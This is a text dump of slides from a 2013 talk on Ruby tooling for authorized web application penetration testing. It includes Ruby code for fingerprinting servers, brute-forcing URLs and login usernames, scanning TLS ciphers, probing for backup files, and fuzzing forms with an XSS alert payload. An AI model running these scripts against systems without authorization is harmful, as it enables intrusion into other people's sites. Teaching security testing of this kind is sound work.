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Solid as DiamondUsing Ruby in a web application penetration test
Wednesday, September 18, 13
self.inspect
• I do stuff: husband, proud father && martial artist
• I break other people code for living (only when authorized)
• I blog at: http://armoredcode.com
• I’m on github too: https://github.com/thesp0nge
• I love twitter: @thesp0nge, @armoredcode
2Wednesday, September 18, 13
talk.inspect
• Owasp Top 10 2013
• Ruby code to...
• Leverage a web application attack surface
• Bruteforce authentication mechanism
• Look for Cross site scripting
3Wednesday, September 18, 13
Disclaimer
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Attack only sites you’re authorized to
Wednesday, September 18, 13
Change your mindset. You’re an attacker now!
5
Your web application is a blackboxYou’ve got only a URL as a starting point
(optional) You may have a valid user, instead you have to register a user to the application
Good luck!
Wednesday, September 18, 13
It all starts with...
6
... someone wants to publish a new web application on the Internet or on an Internal
network, she gives me the url saying: “test it for security issues, please”...
Wednesday, September 18, 13
Our target
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The Owasp Top 10 - 2013
8
• A1 – Injection
• A2 – Broken Authentication and Session Management
• A3 – Cross-Site Scripting (XSS)
• A4 – Insecure Direct Object References
• A5 – Security Misconfiguration
• A6 – Sensitive Data Exposure
• A7 – Missing Function Level Access Control
• A8 – Cross-Site Request Forgery (CSRF)
• A9 – Using Known Vulnerable Components
• A10 – Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2013
Wednesday, September 18, 13
Leverage your attack surface
9Wednesday, September 18, 13
Leverage your attack surface
10
Spot attack entrypoints: (robots.txt and url discovery with bruteforce)
Fingerprint your target
Check transport layer security
Check for the service door (backup files)
Wednesday, September 18, 13
Fingerprint your target
11
• Meta generator tag
• Server HTTP response field
• X-Powered-by HTTP response field
• Popular pages with extension (login.do, index.jsp, main.asp, login.php, phpinfo.php...)
• The HTTP response field order (soon it will be implemented in the gengiscan gem)
Wednesday, September 18, 13
Fingerprint your target
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def detect(url)uri = URI(url)begin
res = Net::HTTP.get_response(uri){:status=>:OK, :code=>res.code, :server=>res['Server'],
:powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)} rescue
{:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil}end
end
def get_generator_signature(res)generator = ""doc=Nokogiri::HTML(res.body)doc.xpath("//meta[@name='generator']/@content").each do |value|
generator = value.valueendgenerator
end
$ gem install gengiscan$ gengiscan http://localhost:4567{:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/1.9.3/2012-04-20)", :powered=>nil, :generator=>""}
Wednesday, September 18, 13
Spot attack entrypoints
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robots.txt to discover
to fingerprint
Wednesday, September 18, 13
Spot attack entrypoints
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# TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001) def self.robots(site)
site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://'allow_list = []disallow_list = []begin
res=Net::HTTP.get_response(URI(site+'/robots.txt'))return {:status=>:KO, :allow_list=>[],
:disallow_list=>[], :error=>"robots.txt response code was #{res.code}"} if (res.code != "200")
res.body.split("\n").each do |line| disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow')) allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow'))
endrescue Exception => e
return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message}end{:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""}
end
$ gem install codesake_links$ links -r http://localhost:4567
Wednesday, September 18, 13
Spot attack entrypoints
15
• Use a dictionary to discover URLs with bruteforce
• Very intrusive attack... you’ll be busted, be aware
$ gem install codesake_links$ links -b test_case_dir_wordlist.txt http://localhost:4567
Wednesday, September 18, 13
Check transport layer security
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$ gem install ciphersurfer$ ciphersurfer www.gmail.comEvaluating secure communication with www.gmail.com:443 Overall evaluation : B (76.5) Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55) Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80) Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)
Evaluate an SSL connection for:• protocols the server supports• cipher length• certificate key length
Wednesday, September 18, 13
Check transport layer security
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def go context=OpenSSL::SSL::SSLContext.new(@proto) cipher_set = context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end endend
protocol_version.each do |version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version})
s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits ciphers = ciphers | s.ok_ciphers end
end
Wednesday, September 18, 13
Check for the service door
18
require 'anemone'require 'httpclient'
h=HTTPClient.new()Anemone.crawl(ARGV[0]) do |anemone| anemone.on_every_page do |page| response = h.get(page.url) puts "Original: #{page.url}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".bak")) puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".old")) puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat("~")) puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}" endend
Wednesday, September 18, 13
Demo
19Wednesday, September 18, 13
Bruteforce authentication mechanism
20Wednesday, September 18, 13
Am I vulnerable?
21Wednesday, September 18, 13
Am I vulnerable?
22Wednesday, September 18, 13
How do I break this?
23
1. Use an existing user to check the HTML
<p>Wrong password for admin user
</p>
2. Place a canary string to anonymize the output
<p>Wrong password for canary_username user
</p>
3. Submit the post and check if the response is the one expected with the canary substituted
<p>Wrong password for tom user
</p>
Wednesday, September 18, 13
How do I break this?
24
def post(url, username, password) agent = Mechanize.new agent.user_agent_alias = 'Mac Safari' agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
username_set = false password_set = false
page = agent.get(url) page.forms.each do |form| form.fields.each do |field| if field.name.downcase == 'username' or field.name.downcase== 'login' username_set = true field.value = username end if field.name.downcase == 'password' or field.name.downcase== 'pass' or
field.name.downcase== 'pwd' password_set = true field.value = password end end return agent.submit(form) if username_set and password_set end return nilend
Wednesday, September 18, 13
How do I break this?
25
log("existing user #{username} used as canary")
wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username')wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy", "canary_username")
if ! line.start_with?("#")sleep(@sleep_time)log("awake... probing with: #{line}")r= post(url, line, ".4nt4n1")found << line if r.body == wrong_pwd.gsub("canary_username", line)
end
Wednesday, September 18, 13
Demo
26Wednesday, September 18, 13
Look for Cross Site Scripting(reflected)
27Wednesday, September 18, 13
Look for Cross Site Scripting
28Wednesday, September 18, 13
Look for Cross Site Scripting
29Wednesday, September 18, 13
Look for Cross Site Scripting
30
• In GETs
• Submit the attack payload as parameter in the query string
• Parse HTML and check if payload is in the script nodes
• In POSTs
• Get the page
• Find the form(s)
• Fill the form input values with attack payload
• Submit the form
• Parse HTML and check if payload is in the script nodes
Wednesday, September 18, 13
Look for Cross Site Scripting
31
attack_url = Cross::Url.new(url)
Cross::Attack::XSS.each do |pattern|attack_url.params.each do |par|page = @agent.get(attack_url.fuzz(par[:name],pattern))@agent.log.debug(page.body) if debug?scripts = page.search("//script")scripts.each do |sc|found = true if sc.children.text.include?("alert('cross canary')")@agent.log.debug(sc.children.text) if @options[:debug]
endattack_url.reset
endend
Exploiting GETs...
$ gem install cross$ cross -u http://localhost:4567/hello?name=paolo
Wednesday, September 18, 13
Look for Cross Site Scripting
32
beginpage = @agent.get(url)
rescue Mechanize::UnauthorizedErrorputs 'Authentication failed. Giving up.'return false
rescue Mechanize::ResponseCodeErrorputs 'Server gave back 404. Giving up.'return false
end puts "#{page.forms.size} form(s) found" if debug?
page.forms.each do |f|f.fields.each do |ff|
ff.value = "<script>alert('cross canary');</script>"endpp = @agent.submit(f)puts "#{pp.body}" if debug?scripts = pp.search("//script")scripts.each do |sc|
found = true if sc.children.text == "alert('cross canary');"end
end
Exploiting POSTs...
$ gem install cross$ cross http://localhost:4567/login
Wednesday, September 18, 13
Demo
33Wednesday, September 18, 13
What we learnt
34
• Don’t trust your users
• “Security through obscurity” is EVIL
• Testing for security issues is a mandatory step before deploy
• HTTPS won’t safe from XSS or SQL Injections
Wednesday, September 18, 13
Some links before we leave
35
http://armoredcode.com/blog/categories/pentest-with-ruby/
https://github.com/codesake
http://ronin-ruby.github.com/https://github.com/rapid7/metasploit-framework
http://www.owasp.orghttp://brakemanscanner.org/
Not mine, here because they’re cool
http://www.youtube.com/user/armoredcodedotcom
Wednesday, September 18, 13
Questions?
36Wednesday, September 18, 13
Thank you!
37Wednesday, September 18, 13